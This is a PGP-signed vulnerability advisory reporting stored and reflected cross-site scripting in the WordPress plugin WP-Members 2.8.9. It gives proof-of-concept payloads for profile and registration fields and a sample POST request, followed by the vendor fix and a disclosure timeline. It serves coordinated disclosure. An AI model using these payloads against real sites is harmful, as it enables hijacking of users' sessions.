WordPress WP-Members 2.8.9 Cross Site Scripting

`  
-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
Advisory: Wordpress Plugin WP-Members Version 2.8.9 - Stored and  
reflected Cross-site Scripting vulnerabilities  
Advisory ID: SSCHADV2014-001  
Author: Stefan Schurtz  
Affected Software: Successfully tested on WP-Members Version 2.8.9  
Vendor URL: http://wordpress.org/plugins/wp-members/  
Vendor Status: fixed  
  
==========================  
Vulnerability Description  
==========================  
  
The Wordpress plugin "WP-Members 2.8.9" is prone to reflected and stored  
XSS vulnerabilities  
  
==========================  
PoC-Exploit  
==========================  
  
// Stored-XSS Profile "WP-Members Additional Fields" (Backend)  
  
Works for Editor, Subscriber, Contributor and Author.  
  
&addr1=" onMouseMove=alert(document.cookie) '  
&addr2=" onMouseMove=alert(document.cookie) '  
&city=" onMouseMove=alert(document.cookie) '  
&thestate=" onMouseMove=alert(document.cookie) '  
&zip=" onMouseMove=alert(document.cookie) '  
&country=" onMouseMove=alert(document.cookie) '  
&phone1=" onMouseMove=alert(document.cookie) '  
  
// POST-Request  
  
Host: [Host]  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101  
Firefox/26.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
DNT: 1  
Referer: http://[Host]/wordpress/wp-admin/profile.php?updated=1  
Cookie:  
wordpress_53a61be1f4f2b42f29aacd17829b400a=user%7C1389143198%7C82134b1dfc3cf2c7d02dc21bae10977a;  
wordpress_test_cookie=WP+Cookie+check;  
wordpress_logged_in_53a61be1f4f2b42f29aacd17829b400a=user%7C1389143198%7C7c4a9b983a92d6c074e935263583cdf0;  
wp-settings-time-2=1388969329; wp-settings-2=editor%3Dhtml;  
PHPSESSID=9amg03t3qp8s54qh008slk4vo3  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 500  
  
_wpnonce=d3dce96663&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fprofile.php%3Fupdated%3D1&from=profile&checkuser_id=2&color-nonce=8b5d6b3e25&admin_color=fresh&admin_bar_front=1&first_name=user&last_name=Smith&nickname=user&display_name=user&email=user%40user.local&url=http%3A%2F%2F3&description=1&pass1=&pass2=&addr1="  
onMouseMove=alert(document.cookie)  
'&addr2=&city=&thestate=&zip=&country=%22+onMouseMove%3Dalert%28document.cookie%29+%27&phone1=3&test=3&action=update&user_id=2&submit=Profil+aktualisieren  
  
// Reflected Cross-site Scripting  
  
(1) Install plugin  
(2) http://[Host]/wp/wp-login.php?action=register  
  
First Name: '"--></style></script><script>alert(/XSS/)</script>  
Last Name: '"--></style></script><script>alert(/XSS/)</script>  
Address 1: '"--></style></script><script>alert(/XSS/)</script>  
Address 2: '"--></style></script><script>alert(/XSS/)</script>  
City: '"--></style></script><script>alert(/XSS/)</script>  
State: '"--></style></script><script>alert(/XSS/)</script>  
Zip: '"--></style></script><script>alert(/XSS/)</script>  
Country: '"--></style></script><script>alert(/XSS/)</script>  
Day Phone: '"--></style></script><script>alert(/XSS/)</script>   
  
==========================  
Solution  
==========================  
  
Upgrade to the latest version WP-Members 2.8.10  
  
==========================  
Disclosure Timeline  
==========================  
  
05-Jan-2014 - vendor informed by email ([email protected])  
06-Jan-2014 - feedback from vendor  
07-Jan-2014 - fixed by vendor  
  
==========================  
Credits  
==========================  
  
Vulnerabilities found and advisory written by Stefan Schurtz.  
  
==========================  
References  
==========================  
  
http://wordpress.org/plugins/wp-members/  
http://www.darksecurity.de/advisories/2014/SSCHADV2014-001.txt  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.4.12 (GNU/Linux)  
  
iEYEARECAAYFAlLNWvsACgkQg3svV2LcbMAr5QCfUTvS3DFaxixV2AkhElqH0Pmx  
XxUAn2fOWmAmVNBzq1NU+RW9yGfgwvBQ  
=Xbqn  
-----END PGP SIGNATURE-----  
  
`